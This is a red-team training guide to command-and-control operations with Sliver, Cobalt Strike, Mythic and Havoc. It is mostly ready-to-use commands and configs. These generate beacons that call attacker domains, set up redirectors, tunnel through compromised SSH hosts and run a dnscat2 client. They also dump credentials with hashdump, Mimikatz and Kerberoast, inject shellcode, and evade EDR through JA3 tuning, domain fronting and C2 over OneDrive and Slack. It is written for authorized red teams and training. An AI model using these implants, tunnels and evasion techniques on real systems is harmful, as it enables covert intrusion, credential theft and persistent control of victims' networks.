7. C2

Pillar 7: C2 Operations

BLUF: Six questions every C2 operator answers in order — which framework, what beacon profile, what infrastructure, how to operate the framework, how to extend it with BOFs, and how to make the beacon look like the target environment. Every file in 7.x answers exactly one of those questions.

Important

Authorized use only. All material in this section is for professional red team engagements with written scope authorization. Assume all commands, network calls, and binary executions may be logged by EDR, SIEM, proxy, and DNS telemetry.


Operator Reading Order

[1. Choose Framework] → [2. Stealthy Beacon] → [3. Build Infrastructure]
                                   ↓
                       [4. Operate the Framework]
                                   ↓
                    [5. Write BOFs] + [6. Blend Into Environment]

MITRE ATT&CK Mapping

Technique ID Name Tactic Section
T1071.001 Web Protocols Command and Control 2, 6
T1071.004 DNS Command and Control 6
T1573 Encrypted Channel Command and Control 2, 3
T1568.002 Domain Generation Algorithms Command and Control 6
T1102 Web Service Command and Control 6 (LOTC)
T1001.003 Protocol Impersonation Command and Control 2, 6
T1055 Process Injection Defense Evasion 2
T1620 Reflective Code Loading Defense Evasion 5 (BOF)
T1497.003 Time Based Evasion Defense Evasion 2
T1090 Proxy Command and Control 3

File Map

File Theme What it covers
7. C2 (this file) Hub Navigation, framework selection, quick-start procedures
7.1 C2 Beacon Evasion 2 — Stealthy Beacon Sleep obfuscation, jitter, in-memory execution, TLS evasion, staged vs stageless
7.2 C2 infra 3 — Infrastructure Redirectors (nginx/Apache/Caddy/socat), VPS hardening, Cloudflare, IaC
7.4 Mythic C2 Operator Guide 4 — Operate Mythic Agent matrix, C2 profiles, Apollo deep-dive, SMB P2P, ESC checklists
7.5 C2 Infrastructure Walkthrough 3 — Infrastructure Step-by-step full-stack Sliver deployment with redirector
7.6 Sliver HTTP C2 Profiles 6 — Blend into Env http-c2.json format, URI design, JA3/JARM, nginx redirector filtering
7.7 Advanced C2 Techniques 6 — Blend into Env LOTC (OneDrive/GitHub/Slack), DNS tunneling, domain fronting, steganography
7.8 Sliver Profile Creation OPSEC 2 — Stealthy Beacon Sliver profile guardrails, timing decisions, transport selection
7.9 Sliver Beacon Creation OPSEC 2 — Stealthy Beacon Sliver beacon generation, staging, OPSEC checklist pre-deploy
7.9a Sliver C2 Linux 4 — Operate Sliver Full Sliver Linux operator guide
7.10 Sliver C2 Windows 4 — Operate Sliver Full Sliver Windows operator guide (AMSI, ETW, injection, PPL)
7.11 C2 Jump Server Infrastructure 3 — Infrastructure Jump server setup, WireGuard, operator access path, backend hardening
7.12 Rust Beacon Development 5 — Extend / Implant Rust implant from scratch, PE format, injection, evasion hooks
7.13 Cobalt Strike Setup Infra 4 — Operate CS CS teamserver, Malleable profiles, redirector, licensing
7.14_BOF_Development 5 — BOF BOF authoring, API imports, CS/Sliver/Havoc compatibility, testing

Section 1 — Choose a C2 Framework

Decision rule: Sliver for open-source labs and Linux targets. Cobalt Strike for mature red teams and clients who mandate CS reporting. Mythic when internal network topology is complex and P2P chaining is required. Havoc when you need CS-like capability without a license and want sleep obfuscation built-in.

Capability Matrix

Capability Sliver Cobalt Strike Mythic Havoc
License Free ~$5,400/yr Free Free
Windows agents Yes Yes (Beacon) Apollo / Hannibal Demon
Linux agents Yes Limited Athena / Poseidon Limited
macOS agents Yes Limited Poseidon No
BOF execution execute-bof inline-execute Apollo BOF inline-execute
execute-assembly (.NET) Yes Yes Apollo Yes
P2P / SMB chaining Yes (TCP/named pipe) Yes Yes (SMB profile) Limited
Sleep obfuscation No (bring-your-own) Via UDRL / kit Agent-dependent Built-in (Ekko)
Malleable HTTP profile http-c2.json .profile (full) httpx config.json .yaotl
mTLS / WireGuard Yes (native) No No No
DNS beaconing Yes Yes Yes No
Armory / kit system Yes (armory) Yes (BOF kit) Yes (agents) Limited
Multi-operator Yes Yes (teamserver) Yes Yes
Built-in redirector support Via profile Via Malleable Via httpx Via profile
Active development High Medium High High

When to Use Each

Sliver — Your default for lab work, Linux-heavy targets, and open-source engagements. Native mTLS and WireGuard make operator-to-server comms simple. The armory gives Rubeus, SharpHound, Seatbelt with zero compile work. Weaknesses: no native sleep obfuscation, HTTP profiling is less mature than CS Malleable.

Cobalt Strike — Industry standard. Required on CBEST, CREST, and many enterprise assessments. Mature Malleable C2 profile ecosystem, best BOF toolchain (TrustedSec, CS-Situational-Awareness-BOF), widest operator familiarity. Weakness: cost, heavy signatures on default profiles, constant EDR vendor attention.

Mythic — Best for complex internal network topologies where most hosts can't reach the internet. SMB P2P chaining collapses N egress connections down to 1. Agent-per-container architecture means you can mix Windows (Apollo), macOS (Poseidon), and Java WAR (Medusa) targets under one C2. Weakness: steeper setup curve.

Havoc — Best free CS alternative for Windows-heavy engagements. Demon has Ekko sleep obfuscation built-in (CS requires a UDRL or third-party kit for this), indirect syscalls by default in recent builds, BOF compatible. Weakness: smaller community, less mature HTTP profile customization.

Deep-dive operator guides:


Section 2 — Creating a Stealthy Beacon

The operator's checklist before staging any beacon: Does it use a custom profile? Is sleep ≥ 30s with ≥ 20% jitter? Is staging fileless? Is the parent process legitimate? Is the C2 traffic indistinguishable from browser HTTPS?

What Makes a Beacon Detectable

Detection Surface Default Behavior Fix
Regular check-in interval Fixed 60s heartbeat Add ≥ 20% jitter
TLS fingerprint (JA3/JARM) Unique per framework CDN front or customize cipher list
Process parent explorer.exe spawns beacon.exe Parent process spoofing
Disk artifact EXE written to disk Reflective DLL / process injection / shellcode
URI pattern /update, /gate.php Custom URIs matching target environment
User-Agent Framework default Match Chrome/Edge UA for target org
Check-in size regularity Fixed beacon size Add junk padding
Process injection VirtualAllocEx → WriteProcessMemory → CreateRemoteThread Use APC queue, thread hijack, or indirect syscall
Memory permissions RWX region RX only, using page guard or backing with file

Beacon Profile Decisions

Timing:     sleep ≥ 300s + jitter ≥ 40%  (long-haul) or
            sleep ≥ 30s  + jitter ≥ 25%  (interactive)
Transport:  HTTPS via redirector → team server (never direct)
Staging:    stageless preferred (no stager URL in network)
Process:    inject into long-lived LOLBin (svchost, dllhost, msiexec)
Parent:     spoof to explorer.exe or Teams/Chrome process
Kill date:  set — beacon dies after engagement ends

Deep-dive files:

Quick-Start: Sliver Stageless Beacon (OPSEC Hardened)

# 1. Create an OPSEC profile
sliver > profiles new \
  --http https://redirect.yourdomain.com \
  --seconds 300 \
  --jitter 45 \
  --skip-symbols \
  stealth-profile

# 2. Generate a stageless beacon from the profile
sliver > profiles generate --save /tmp/ stealth-profile

# 3. Verify: list generated beacons and inspect settings
sliver > beacons

Quick-Start: Cobalt Strike Beacon (Malleable Profile Required)

# Start team server with a custom Malleable profile
sudo ./teamserver YOUR_VPS_IP YourPassword /opt/profiles/custom.profile

# In CS GUI: Listeners → Add → HTTPS → set host to your redirector, not team server IP
# Attacks → Packages → Windows Executable (S) → stageless preferred

OPSEC: Default Sliver and CS profiles are signatured by every major EDR. Always use a custom profile. Test against your target EDR in a lab before staging. See 7.1 C2 Beacon Evasion for the full detection bypass workflow.


Section 3 — Creating C2 Infrastructure

Architecture principle: Never expose your team server directly. Minimum topology: Attacker → [WireGuard/SSH] → Team Server ← [HTTPS] ← Redirector ← Beacon.

Infrastructure Layers

[Operator laptop]
      |  WireGuard or SSH
      v
[Team Server VPS]  ← private, no public ports except WireGuard
      ^
      |  HTTPS (filtered — only valid C2 URIs forwarded)
      |
[Redirector VPS]  ← public facing, Let's Encrypt cert, nginx
      ^
      |  HTTPS (looks like normal browser traffic)
      |
[Beacon on target]

Domain and TLS Setup

# Buy a domain that fits the engagement context:
# - Infrastructure themes: cdn-assets-global.com, api-sync-service.net
# - Office 365 themes: o365-auth-service.com (risky — can be categorized)
# Avoid: anything with "c2", "hack", "red", or obvious CTF patterns

# Let's Encrypt cert on your redirector (auto-renew)
certbot --nginx -d redirect.yourdomain.com --non-interactive --agree-tos -m ops@yourdomain.com

# Check domain categorization before use
# curl https://www.bluecoat.com/en-us/sitereview/lookup to check proxy category

Nginx Redirector — Minimal OPSEC Config

server {
    listen 443 ssl;
    server_name redirect.yourdomain.com;
    ssl_certificate /etc/letsencrypt/live/redirect.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/redirect.yourdomain.com/privkey.pem;

    # Forward only beacon URIs to team server — everything else gets a decoy
    location ~ ^/(api/v2/sync|cdn/assets/manifest\.js|health|static/logo\.png|api/v2/upload|submit|collect) {
        proxy_pass https://TEAMSERVER_PRIVATE_IP:443;
        proxy_ssl_verify off;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    # Decoy — returns 200 with bland content for scanners
    location / {
        return 200 "OK";
        add_header Content-Type text/plain;
    }
}

VPS Hardening Checklist

ufw default deny incoming
ufw allow from OPERATOR_IP to any port 22 proto tcp   # SSH management only
ufw allow 443/tcp                                      # HTTPS beacon traffic
ufw enable

# Disable password auth
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl reload sshd

# Fail2ban
apt install fail2ban -y
systemctl enable --now fail2ban

Deep-dive files:

SSH Tunneling for C2 Routing

# Route C2 callbacks through a compromised SSH host
ssh -L 8443:TEAMSERVER_IP:443 user@compromised-host -N -f

# Expose a listener into the target network
ssh -R 4444:localhost:4444 user@compromised-host -N -f

# Full SOCKS5 proxy for C2 tooling
ssh -D 1080 user@compromised-host -N -f

# Persistent tunnel (auto-reconnects)
autossh -M 0 -f -N -D 1080 -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@compromised-host

# ProxyJump — chain callbacks through multiple hosts
ssh -J user1@jump1,user2@jump2 user@internal-target

Section 4 — Operating Each Framework

Sliver — Core Operator Commands

# Server + listener startup
sliver-server
sliver > https --lhost 0.0.0.0 --lport 443
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > dns --domains c2.yourdomain.com

# Generate implants
sliver > generate --http https://redirect.yourdomain.com --os windows --arch amd64 \
  --seconds 300 --jitter 45 --save /tmp/

# Session management
sliver > sessions      # active interactive sessions
sliver > beacons       # scheduled beacon sessions
sliver > use SESSION_ID

# Post-exploitation (in session)
sliver (beacon) > execute-assembly /tmp/SharpHound.exe -c DCOnly
sliver (beacon) > execute-bof /tmp/whoami.o
sliver (beacon) > socks5 start --host 127.0.0.1 --port 1080
sliver (beacon) > upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exe
sliver (beacon) > download C:\\Users\\Public\\doc.docx /tmp/loot.docx

# Armory (in-memory .NET assemblies — no disk write)
sliver > armory install rubeus
sliver (beacon) > rubeus -- kerberoast /outfile:hashes.txt
sliver (beacon) > sharphound -- -c DCOnly
sliver (beacon) > seatbelt -- -group=all

Full guides: 7.9a Sliver C2 Linux | 7.10 Sliver C2 Windows


Cobalt Strike — Core Operator Commands

# Team server startup
sudo ./teamserver VPS_IP Password /opt/profiles/custom.profile

# Beacon interaction
beacon> sleep 300 45          # 300s sleep, 45% jitter (long-haul)
beacon> sleep 30 25           # 30s sleep, 25% jitter (interactive)
beacon> run whoami            # run without shell wrapper (less noisy than shell)
beacon> execute-assembly /path/SharpHound.exe -c DCOnly
beacon> inline-execute /path/bof.o   # BOF execution
beacon> jump psexec64 target.domain.local listener-name
beacon> spawn listener-name   # pass session to another listener
beacon> shinject [pid] x64 /path/shellcode.bin
beacon> getuid
beacon> getpid
beacon> ps
beacon> hashdump              # requires admin
beacon> logonpasswords        # Mimikatz — requires admin

Full guide: 7.13 Cobalt Strike Setup Infra


Mythic — Core Operator Commands

# Install + start
git clone https://github.com/its-a-feature/Mythic && cd Mythic
sudo make && sudo ./mythic-cli start

# Install agents and profiles
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicAgents/Hannibal
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/httpx
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
# SMB P2P topology (zero new egress from internal hosts)
# HOST_A (egress, httpx callback) -- link --> HOST_B (named pipe, no internet)
link --host HOST_B --named_pipe \\.\pipe\svcctl

# Apollo BOF execution
bof /path/to/bof.o arg1 arg2

# Apollo execute-assembly
execute_pe SharpHound.exe -c DCOnly

Full guide (agent matrix, profile OPSEC, SMB P2P, ESC checklists): 7.4 Mythic C2 Operator Guide


Havoc — Core Operator Commands

# Build and start
git clone https://github.com/HavocFramework/Havoc && cd Havoc
cd teamserver && go build . -o teamserver && cd ..
./teamserver server --profile ./profiles/havoc.yaotl --debug

# Client: ./Havoc → File → Connect
# Demon implant commands
demon> sleep 300 45               # sleep + jitter (built-in Ekko obfuscation)
demon> inline-execute /path/bof.o arg1
demon> dotnet execute Assembly.exe arg1
demon> token steal [pid]
demon> token make domain\\user password
demon> socks 1080
demon> pivot smb TARGET_HOST      # SMB pivot (Demon 2.0+)

Havoc OPSEC: Default havoc.yaotl ports and URIs are signatured — customize all of them before use. Demon sleep obfuscation (Ekko-based) is enabled by default and significantly reduces memory scan detection at rest.


Section 5 — Creating BOFs

Why BOFs: A BOF runs inside the beacon process as position-independent shellcode. No child process, no new command line, no process creation event in Windows event logs. It's the quietest way to run a Windows API call post-compromise.

What a BOF Is

A Beacon Object File is a compiled COFF (.o) file that executes in the beacon's memory space. It has access to the beacon API (BeaconPrintf, BeaconDataExtract, etc.) and resolves Win32 APIs via the DLLNAME$FunctionName macro pattern. Compatible with:

BOF Project Setup

# Install cross-compiler (on Linux)
sudo apt install mingw-w64 -y

# Clone TrustedSec BOF header (required for BeaconPrintf etc.)
git clone https://github.com/trustedsec/CS-Situational-Awareness-BOF
# beacon.h is in: CS-Situational-Awareness-BOF/src/common/

# Project structure
mybof/
  beacon.h          # from TrustedSec
  mybof.c           # your BOF source
  Makefile

Minimal BOF — Whoami

// mybof.c
#include <windows.h>
#include "beacon.h"

// Declare Win32 APIs using the beacon macro pattern
// Format: RETURNTYPE WINAPI DLLNAME$FunctionName(args...)
WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId(void);
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(void);
WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);

void go(char *args, int len) {
    DWORD pid = KERNEL32$GetCurrentProcessId();
    BeaconPrintf(CALLBACK_OUTPUT, "[+] BOF running in PID: %d\n", pid);
}
# Makefile
CC = x86_64-w64-mingw32-gcc
CFLAGS = -masm=intel -Wall

mybof.o: mybof.c
	$(CC) $(CFLAGS) -o mybof.o -c mybof.c

clean:
	rm -f mybof.o
# Compile
make

# Test in C2
# Cobalt Strike:
beacon> inline-execute /path/mybof.o

# Sliver:
sliver (beacon) > execute-bof /path/mybof.o

# Havoc:
demon> inline-execute /path/mybof.o

BOF with Arguments

// Accepting arguments from the operator
void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);

    // Extract arguments in order they were passed
    char *hostname = BeaconDataExtract(&parser, NULL);   // first arg (string)
    int   port     = BeaconDataInt(&parser);             // second arg (int)

    BeaconPrintf(CALLBACK_OUTPUT, "[+] Connecting to %s:%d\n", hostname, port);
}
# Pass args in C2:
beacon> inline-execute mybof.o str hostname int 445

BOF with API Resolution — Token Check

#include <windows.h>
#include "beacon.h"

WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeNameA(LPCSTR, PLUID, LPSTR, LPDWORD);
WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);

void go(char *args, int len) {
    HANDLE hProc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, KERNEL32$GetCurrentProcessId());
    HANDLE hToken = NULL;

    if (!ADVAPI32$OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
        BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcessToken failed: %d\n", GetLastError());
        KERNEL32$CloseHandle(hProc);
        return;
    }

    // Get token privileges
    DWORD len_needed = 0;
    ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &len_needed);
    TOKEN_PRIVILEGES *privs = (TOKEN_PRIVILEGES *)intAlloc(len_needed);
    ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, privs, len_needed, &len_needed);

    BeaconPrintf(CALLBACK_OUTPUT, "[+] Token has %d privileges:\n", privs->PrivilegeCount);
    for (DWORD i = 0; i < privs->PrivilegeCount; i++) {
        char name[256]; DWORD namelen = 256;
        ADVAPI32$LookupPrivilegeNameA(NULL, &privs->Privileges[i].Luid, name, &namelen);
        BeaconPrintf(CALLBACK_OUTPUT, "    %s (%s)\n", name,
            (privs->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) ? "Enabled" : "Disabled");
    }

    KERNEL32$CloseHandle(hToken);
    KERNEL32$CloseHandle(hProc);
}

BOF Memory Allocation

// Use beacon's allocator — not malloc/HeapAlloc
// intAlloc / intFree are macros defined in beacon.h
void *buf = intAlloc(1024);
intFree(buf);

// Do NOT use:
// malloc()       -- links to CRT, which BOFs must not import
// HeapAlloc()    -- use KERNEL32$HeapAlloc instead if truly needed
// VirtualAlloc() -- use KERNEL32$VirtualAlloc instead

Useful BOF Collections

Collection What's inside Compatibility
TrustedSec CS-Situational-Awareness-BOF arp, dir, env, hostname, ipconfig, netstat, nslookup, sc_query, tasklist, whoami CS, Sliver, Havoc
TrustedSec CS-Remote-OPs-BOF createRemoteThread, inject, SA, spoof, token ops CS, Sliver
ajpc5/BOFs procdump, screenshot, etw-patch, token ops CS
Outflank C2-Tool-Collection SharpHound BOF port, CredMan, Kerberoast via BOF CS
EspressoCake/Situational-Awareness-BOF-via-NTAPI NTAPI-only, no CRT — maximum evasion CS, Sliver

Full development guide (complex BOFs, NTAPI, testing harness, Sliver packaging): 7.14_BOF_Development


Section 6 — Blending the Beacon into the Environment

The operator's goal: C2 traffic should be indistinguishable from the legitimate traffic the target organization generates. Not just "encrypted" — it should match the TLS fingerprint, URI structure, User-Agent, request timing, and content type of real application traffic on that network.

Pre-Engagement Recon for Traffic Profiling

# What does the target's egress traffic look like?
# From a foothold with network visibility:

# Capture and inspect outbound TLS SNI values (what SaaS do they use?)
tcpdump -i eth0 -nn 'port 443' -l | tee /tmp/tls.log &
# Look for SNI: office.com, salesforce.com, workday.com, github.com, slack.com

# Check what User-Agents are common in proxy logs
# (if you can read proxy logs from a Windows foothold)
type "C:\inetpub\logs\W3SVC*\*.log" | findstr "GET POST" | awk '{print $12}' | sort | uniq -c | sort -rn | head

# What URIs does their monitoring/AV call home on?
# Common: /api/v1/, /metrics, /update, /heartbeat, /health
# Avoid: /gate.php, /login, /c2, /beacon — these are over-indexed by EDRs

HTTP Profile — Match the Target's Traffic

# Sliver http-c2.json (excerpt — match Office 365 / Teams traffic pattern)
{
  "implant_config": {
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
    "url_parameters": {},
    "headers": [
      {"name": "Accept", "value": "application/json, text/plain, */*"},
      {"name": "Accept-Language", "value": "en-US,en;q=0.9"},
      {"name": "Cache-Control", "value": "no-cache"}
    ]
  },
  "get_implant_config": {
    "method": "GET",
    "uri": "/api/v2/sync"
  },
  "post_implant_config": {
    "method": "POST",
    "uri": "/api/v2/upload"
  }
}

URI and profile design rules:

Full HTTP profile deep-dive: 7.6 Sliver HTTP C2 Profiles

JA3/JARM Fingerprint Evasion

# Check your beacon's JA3 fingerprint
# Run wireshark on your attacker box while beacon checks in, or:
ja3-scanner -t redirect.yourdomain.com:443

# Common fingerprint issues:
# Sliver default = unique JA3 recognized by Suricata/Zeek rules
# Fix: route through Cloudflare CDN — traffic presents Cloudflare's JA3, not yours

# Check JARM (server-side fingerprint)
python3 jarm.py redirect.yourdomain.com
# Fix: customize nginx TLS config to match common server fingerprints:
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384';
ssl_prefer_server_ciphers off;

Domain Fronting (CDN-Based Traffic Masking)

# Traffic appears to go to ajax.aspnetcdn.com — actually goes to your C2
# In Malleable profile (CS) or http-c2.json header override:
# Host: your-c2-origin.com
# Beacon connects to CDN edge IP — CDN routes to your origin by Host header

# Verify fronting works:
curl -H "Host: your-c2-origin.com" https://ajax.aspnetcdn.com/api/v2/sync

# Find still-functional fronting domains on a CDN:
python3 FindFrontableDomains.py --domain cloudfront.net

Living off the Cloud (LOTC) Channels

When HTTP/HTTPS is inspected by a proxy with TLS inspection, use a legitimate SaaS the org already trusts:

Channel Tool Technique
OneDrive / SharePoint OneDriveChrono Store C2 tasks in OneDrive files, poll via Graph API
GitHub SharpC2 modules Use private repo commit comments as task queue
Slack Slackor Slack API as C2 transport — uses org's own workspace
Google Sheets GSheets-C2 Read/write cells as task channel
DNS-over-HTTPS Custom DNS C2 Cloudflare DoH endpoint — looks like browser

LOTC OPSEC: LOTC channels traverse the organization's existing SaaS trust relationship. Blocking Slack or OneDrive has business impact — blue teams won't do it without escalation. Detect by watching for API calls with non-browser User-Agents, unusual file patterns in cloud storage, or high-frequency API polling from workstations.

Full LOTC + DNS tunneling + steganography guide: 7.7 Advanced C2 Techniques

DNS C2 — Last Resort Channel

# Domain setup: delegate *.cdn.yourdomain.com to your VPS as authoritative NS
# Register: ns1.yourdomain.com A → YOUR_VPS_IP
# Create NS: cdn.yourdomain.com NS → ns1.yourdomain.com

# dnscat2 (non-CS environments)
ruby ./dnscat2.rb cdn.yourdomain.com --secret mysecretkey   # server
./dnscat --dns domain=cdn.yourdomain.com --secret mysecretkey  # client

# Cobalt Strike DNS beacon
# Listener type: DNS → DNS Hosts: cdn.yourdomain.com
beacon> mode dns-txt    # TXT records: ~3-5KB/s
beacon> mode dns        # A records: ~200-500B/s (slowest but most stealthy)

# OPSEC: keep query rate < 1-2/min. SOCs detect high-entropy subdomain bursts.

Infrastructure-as-Code: Full Deployment

# Terraform: provision redirector on DigitalOcean
resource "digitalocean_droplet" "redirector" {
  image    = "ubuntu-22-04-x64"
  name     = "redirector-01"
  region   = "nyc3"
  size     = "s-1vcpu-1gb"
  ssh_keys = [var.ssh_fingerprint]
}
resource "digitalocean_domain" "c2_domain" {
  name       = var.c2_domain
  ip_address = digitalocean_droplet.redirector.ipv4_address
}
# Ansible: configure and harden
- hosts: redirectors
  become: yes
  tasks:
    - name: Install Nginx and Certbot
      apt: name: ["nginx", "certbot", "python3-certbot-nginx"] state: present
    - name: Deploy C2 nginx config
      template: src: templates/c2_redirect.conf.j2 dest: /etc/nginx/sites-available/c2.conf
    - name: Harden SSH
      lineinfile: path: /etc/ssh/sshd_config regexp: '^PasswordAuthentication' line: 'PasswordAuthentication no'
    - name: Install fail2ban
      apt: name: fail2ban state: present

Common C2 Infrastructure Ports:

Port Service Notes
53 DNS UDP/TCP — DNS beaconing
443 HTTPS Primary C2 — always use a redirector
8443 HTTPS alt Alternative C2 port
445 SMB P2P lateral movement (Mythic SMB, CS named pipe)
50051 gRPC Sliver mTLS default — change this
51820 WireGuard Operator-to-server — lock to operator IP
22 SSH Infrastructure management — lock to operator IP
9001 CS TeamServer Default — always change
4000 Mythic Default API port

Resources

Resource Type Section
Sliver C2 Tool 1, 4
Havoc C2 Tool 1, 4
Mythic C2 Tool 1, 4
Malleable C2 Profiles Reference 2, 6
TrustedSec CS-Situational-Awareness-BOF Tool 5
TrustedSec CS-Remote-OPs-BOF Tool 5
Outflank C2-Tool-Collection Tool 5
dnscat2 Tool 6
Coercer Tool 4 (CS lateral)
FindFrontableDomains Tool 6
RedTeam.Guide — Infrastructure Reference 3
Terraform Tool 3
PayloadsAllTheThings — C2 Reference All
CRTO (Zero-Point Security) Certification All sections
HTB Pro Labs (RastaLabs) Lab 4, 5, 6

Part of the Red Teaming 101 series.